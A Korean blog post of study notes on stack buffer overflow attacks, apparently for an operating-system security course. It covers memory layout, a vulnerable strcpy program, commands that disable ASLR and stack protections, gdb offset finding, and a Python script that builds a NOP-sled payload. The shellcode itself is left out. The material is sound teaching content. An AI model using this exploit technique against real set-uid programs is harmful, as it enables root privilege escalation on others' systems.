일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- MAC
- OSI 7계층
- SJF
- Trap
- 배경 그림
- unity
- MLFQ
- 게임 개발
- stride
- Waterfall
- 운영체제
- STCF
- 유스케이스
- polymorphism
- frequency-domain spectrum analysis
- DSP
- Unity #Indie Game
- 컴퓨터 네트워크
- OWASP
- 유니티
- Security
- 게임개발
- FIFO
- protection
- 메카님
- DP
- link layer
- SDLC
- information hiding
- AINCAA
- Today
- Total
다양한 기록
Buffer Overflow Attack 본문
High address
Stack |
| |
Heap |
BSS Segment |
Data Segment |
Text(Code) Sement |
Low address
* 스택이랑 힙 사이 어딘가에 Shared Library 존재 (printf ..)
Text(Code) Segment: 명령어, 상수, 문자열 리터럴
Data Segment: 전역 변수
BSS Segment: 초기화되지 않은 전역 변수 + 정적 변수
Heap: 동적 할당한 변수
Stack: 인자, 리턴어드레스, Saved ebp, 지역변수
void func(int a, int b)
{
int x, y;
x = a + b;
y = a - b;
}
movl 12(%ebp), %ebx ; b is stored in %ebp + 12
movl 8(%ebp), %edx ; a is stored in %ebp + 8
addl %edx, %eax
movl %eax, -8(%ebp) ; x is stored in %ebp - 8
ebp를 기준으로 값에 접근
func's stack frame
Value of b |
Value of a |
Rerturn address |
Previous Frame Pointer (Saved ebp) |
Value of X |
현 ebp의 값은 Saved ebp를 가리킴
공격자는 리턴 어드레스를 바꾸고 싶어 함
int foo(char* str)
{
char buffer[100];
// 문제 있음
strcpy(buffer, str);
return 1;
}
int main(int argc, char** argv)
{
char str[400];
FILE* badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 300, badfile);
foo(str);
printf("Returned Properly\n");
return 1;
}
main에서는 300만큼 문자를 읽어오는데 foo에서는 버퍼가 100짜리임
=> strcpy는 크기 체크를 안해서 넘칠 수 있음
버퍼 오버플로우 발생 시 어떻게 되는가
- invalid instruction
- non-existing address
- access violation
- attacker's code -> malicous code to gain access
실습용 설정
# 1. Turn off address randomization (countermeasure)
sudo sysctl -w kernel.randomize_va_space=0
# 2. Compile set-uid root version of stack.c
gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
sysctl : 커널 파라미터 설정
-z execstack : 스택에 있는 명령이 실행되도록 함
-fno-stack-protector : 스택 카나리 안쓰기
공격자가 위의 foo와 main 코드를 악용하여 악성 코드를 주입하려 한다고 가정
badfile 300바이트로 스택 영역을 덮어씌우고자 함
1. 리턴 어드레스의 주소를 알아야 함
2. 악성 코드의 주소를 알아야 함
리턴 어드레스는 ebp의 + 4 위치
ebp의 위치를 알아야 함
악성 코드의 주소를 알아내는 건 어려울 수 있음
예상
버퍼 100바이트에 리턴 어드레스는 ebp 위의 4바이트이니까
버퍼 기준 위로 104바이트에 리턴 어드레스 존재할 것이라 생각 가능
근데 사실 지역변수랑 ebp 값 사이에 더미 공간 존재.. 그건 시스템 마음
더미 공간까지 얼마나 차이나는지 알아야 함
32비트 기준임
1. 리턴 어드레스 찾기
gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
touch badfile
gdb stack_dbg
.....
(gdb) b foo
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
.....
Breakpoint 1, foo (str=0xbfffeb1c "...") at stack.c:10
10 strcpy(buffer, str);
.....
(gdb) p $ebp
$1 = (void *) 0xbfffeaf8
(gdb) p &buffer
$2 = (char (*)[100]) 0xbfffea8c
(gdb) p/d 0xbfffeaf8 - 0xbfffea8c
$3 = 108
(gdb) quit
-g 옵션: 심볼 정보를 전부 살려서 디버깅을 편하게 만듦(전역변수, 함수 이름)
0x804848a: foo의 주소, 28비트 사용 중... 낮은 주소 => 코드 세그먼트
0xbfffeb1c: str의 주소, 32비트 중에서도 상위 비트가 b로 시작 => 스택
** 0xc0000000 .. 커널 스페이스
gdb에서 p는 프린트, d는 decimal
빼니까 108 차이 .. 더미 공간이 108바이트임
=> 리턴 어드레스는 버퍼 시작에서 112바이트 위에 있음
2. 악의적인 코드의 주소
gdb로 badfile 주소 알아내는 것도 가능할 순 있으나, NOP 사용 가능
* 이 예제는 사실 그냥 리턴어드레스 바로 위에다 악성코드 주입해도 되긴 하는데, 예제라서 그런 거고 실제로는 어려움
NOP: No Operation .. \90
CPU가 아무 작업도 안하도록 하는 명령 .. 1바이트 사용
PC는 값이 계속 증가하면서 다음 명령 가져옴 => NOP로 채워놓고
악성 코드에 도달하게 하기 가능 => 악의적인 코드의 정확한 주소를 알 필요가 없음
badfile 만들기
버퍼 처음부터 RT까지: 112바이트
RT: 4바이트 .. 116바이트
= 116바이트 이후에 악성코드 주입
* 사실 그 전에 빈 공간에 해도 되긴 하는데, 버퍼가 10바이트 이러면 안됨. 40바이트는 필요
# exploit.py
content = bytearray(0x90 for i in range(300))
start = 300 - len(shellcode)
content[start:] = shellcode
ret = 0xbfffeaf8 + 120
content[112:116] = (ret).to_bytes(4, byteorder='little')
with open('badfile', 'wb') as f:
f.write(content)
제일 처음에 NOP로 300바이트 채움
그 다음 끝에다 쉘코드 붙임
리턴 어드레스는 쉘코드와 리턴 어드레스 사이 어딘가의 값을 줌
=> NOP 때문에 계속 다음으로 넘어가다가 쉘코드 실행됨
* 리틀 엔디안
0x0A0B0C00D
MSB(Most Significant Bit)가 높은 주소에,
LSB(Least Significant Bit)가 낮은 주소에 들어감
가장 왼쪽이 MSB, 오른쪽이 LSB
물론 쉘 코드를 만들긴 해야 함
'운영체제보안' 카테고리의 다른 글
Set-UID Privileged Program (0) | 2024.10.19 |
---|---|
Kernel / user mode, kernel mode (0) | 2024.10.14 |
리눅스 매뉴얼, 커맨드 (0) | 2024.10.14 |
User Authentication (0) | 2024.10.14 |
Running Command with Privilege (0) | 2024.10.12 |